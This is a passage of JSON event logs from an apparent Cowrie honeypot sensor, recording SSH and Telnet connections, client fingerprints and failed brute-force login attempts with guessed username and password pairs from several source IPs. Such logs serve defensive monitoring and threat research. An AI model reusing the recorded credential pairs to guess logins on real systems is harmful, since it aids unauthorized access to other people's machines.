.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:34.122505Z","src_ip":"45.153.34.97","session":"223f2cb4aa59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vahid","password":"hooman","message":"login attempt [vahid/hooman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:34.590550Z","src_ip":"45.153.34.97","session":"223f2cb4aa59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:35.686099Z","src_ip":"45.153.34.97","session":"223f2cb4aa59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40246,"dst_ip":"10.17.0.5","dst_port":23,"session":"875694203d19","protocol":"telnet","message":"New connection: 152.42.224.71:40246 (10.17.0.5:23) [session: 875694203d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:36.469500Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":28098,"dst_ip":"10.17.0.5","dst_port":22,"session":"7445642aa105","protocol":"ssh","message":"New connection: 45.153.34.97:28098 (10.17.0.5:22) [session: 7445642aa105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:38.397002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:38.402106Z","src_ip":"45.153.34.97","session":"7445642aa105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:38.487783Z","src_ip":"45.153.34.97","session":"7445642aa105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:38.890337Z","src_ip":"45.153.34.97","session":"7445642aa105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40248,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f3219342f7","protocol":"telnet","message":"New connection: 152.42.224.71:40248 (10.17.0.5:23) [session: 71f3219342f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:39.000485Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:39.980425Z","src_ip":"45.153.34.97","session":"7445642aa105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40262,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e778514651d","protocol":"telnet","message":"New connection: 152.42.224.71:40262 (10.17.0.5:23) [session: 6e778514651d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:40.729522Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59938,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c4318364116","protocol":"ssh","message":"New connection: 103.176.20.57:59938 (159.203.135.109:22) [session: 8c4318364116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:41.582209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:41.587022Z","src_ip":"103.176.20.57","session":"8c4318364116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:41.834823Z","src_ip":"103.176.20.57","session":"8c4318364116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":41054,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc9be267dce9","protocol":"ssh","message":"New connection: 45.153.34.97:41054 (10.17.0.5:22) [session: dc9be267dce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:42.504631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:42.509106Z","src_ip":"45.153.34.97","session":"dc9be267dce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"harrypotter","message":"login attempt [root/harrypotter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:42.578102Z","src_ip":"103.176.20.57","session":"8c4318364116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:42.591947Z","src_ip":"45.153.34.97","session":"dc9be267dce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"sammy","message":"login attempt [sammy/sammy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:42.884693Z","src_ip":"45.153.34.97","session":"dc9be267dce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:43.828385Z","src_ip":"103.176.20.57","session":"8c4318364116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:43.979646Z","src_ip":"45.153.34.97","session":"dc9be267dce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":41060,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4e0fa46e603","protocol":"ssh","message":"New connection: 45.153.34.97:41060 (10.17.0.5:22) [session: a4e0fa46e603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:46.875833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:46.890273Z","src_ip":"45.153.34.97","session":"a4e0fa46e603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:46.984577Z","src_ip":"45.153.34.97","session":"a4e0fa46e603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":51654,"dst_ip":"10.17.0.5","dst_port":22,"session":"12b0dc98ae30","protocol":"ssh","message":"New connection: 103.98.149.87:51654 (10.17.0.5:22) [session: 12b0dc98ae30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:47.339665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:47.345013Z","src_ip":"103.98.149.87","session":"12b0dc98ae30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:47.371312Z","src_ip":"45.153.34.97","session":"a4e0fa46e603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:47.565546Z","src_ip":"103.98.149.87","session":"12b0dc98ae30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tatyana","message":"login attempt [root/tatyana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:48.224116Z","src_ip":"103.98.149.87","session":"12b0dc98ae30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":37452,"dst_ip":"159.203.135.109","dst_port":22,"session":"54c11926c5a0","protocol":"ssh","message":"New connection: 103.122.221.179:37452 (159.203.135.109:22) [session: 54c11926c5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:48.277638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:48.283391Z","src_ip":"103.122.221.179","session":"54c11926c5a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:48.536181Z","src_ip":"103.122.221.179","session":"54c11926c5a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:48.626605Z","src_ip":"45.153.34.97","session":"a4e0fa46e603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nadegda","message":"login attempt [root/nadegda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:49.292255Z","src_ip":"103.122.221.179","session":"54c11926c5a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:49.445752Z","src_ip":"103.98.149.87","session":"12b0dc98ae30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:50.547202Z","src_ip":"103.122.221.179","session":"54c11926c5a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":23820,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9eff69d6f41","protocol":"ssh","message":"New connection: 45.153.34.97:23820 (10.17.0.5:22) [session: e9eff69d6f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:51.019291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:51.024353Z","src_ip":"45.153.34.97","session":"e9eff69d6f41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:51.109906Z","src_ip":"45.153.34.97","session":"e9eff69d6f41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"password","message":"login attempt [ftptest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:51.379393Z","src_ip":"45.153.34.97","session":"e9eff69d6f41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:52.487047Z","src_ip":"45.153.34.97","session":"e9eff69d6f41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41602,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b21b8d01da5","protocol":"telnet","message":"New connection: 152.42.224.71:41602 (10.17.0.5:23) [session: 6b21b8d01da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:52.751287Z"}
{"eventid":"cowrie.session.closed","duration":71.05998659133911,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:55.122526Z","src_ip":"152.42.224.71","session":"29beb3f2b6f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":23832,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae463f43ce0b","protocol":"ssh","message":"New connection: 45.153.34.97:23832 (10.17.0.5:22) [session: ae463f43ce0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:55.220481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:55.225821Z","src_ip":"45.153.34.97","session":"ae463f43ce0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","